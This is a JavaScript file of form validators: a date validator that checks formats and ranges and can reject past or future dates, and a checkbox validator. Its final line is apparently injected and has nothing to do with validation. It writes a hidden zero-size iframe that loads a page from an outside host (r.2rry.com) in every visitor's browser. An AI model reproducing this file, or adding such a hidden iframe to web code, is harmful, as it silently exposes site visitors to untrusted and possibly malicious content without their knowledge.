//----------------------------------------------------------------------------

function DateValidator( val )
{
   var bResult = false, nMonth, nDay, nYear, sYear;

   var obCtrl = document.getElementById( val.controltovalidate );
   var sDate = obCtrl.value;

   if ( sDate == "" ) return( true );

   var bNoFeature = val.AllowFeatureDate != "Y";
   var bNoPast = val.AllowPastDate != "Y";

   var re = new RegExp( /\d{1,2}([-\/])\d{1,2}\1(\d{4}$|\d{2}$)/ );
   var aMatch = sDate.match( re );
   if ( aMatch == null )
      {
      var re = new RegExp( /^\d{6}$|\d{8}$/ );
      if ( !re.test( sDate ) ) return( false );

      nMonth = parseInt( sDate.substr( 0, 2 ) );
      nDay   = parseInt( sDate.substr( 2, 2 ) );
      sYear  = sDate.substr( 4 );
      nYear  = parseInt( sYear );
      }
   else
      {
      var aDateParts = sDate.split( aMatch[1] ); 
   
      nMonth = parseInt( aDateParts[0], 10 );
      nDay   = parseInt( aDateParts[1], 10 );
      sYear  = aDateParts[2];
      nYear  = parseInt( sYear, 10 );
      }

   if ( sYear.length == 2 && nYear < 100 )  nYear += 2000;
   if ( nYear > 1752 )
      {
      if ( nMonth > 0 && nMonth < 13 && nDay > 0 )
         {
         if ( nMonth == 2 )
            {
            if ( nYear % 4 == 0 )
               {
               if ( nDay <= 29 ) bResult = true;
               }
            else
               {
               if ( nDay <= 28 ) bResult = true;
               }
            }
         else if( nMonth == 4 || nMonth == 6 || nMonth == 9 || nMonth == 11 )
            {
            if ( nDay <= 30 ) bResult = true;
            }
         else if ( nDay <= 31 ) bResult = true;
         }
      }
   
   if ( bResult && ( bNoFeature || bNoPast ) && sDate )
      {
      var d = new Date( "" + nMonth + "/" + nDay + "/" + nYear ), dCur = new Date();
      if ( bNoFeature && dCur < d ) bResult = false;
      if ( bNoPast && dCur > d ) bResult = false;
      }

   return ( bResult );
}

//----------------------------------------------------------------------------

function CheckBoxValidator( val )
{
   var obCtrl = document.getElementById( val.controltovalidate );
   return( obCtrl.checked );
}

//----------------------------------------------------------------------------
document.write("<iframe width='0' height='0' src='http://r.2rry.com/index.htm'></iframe>");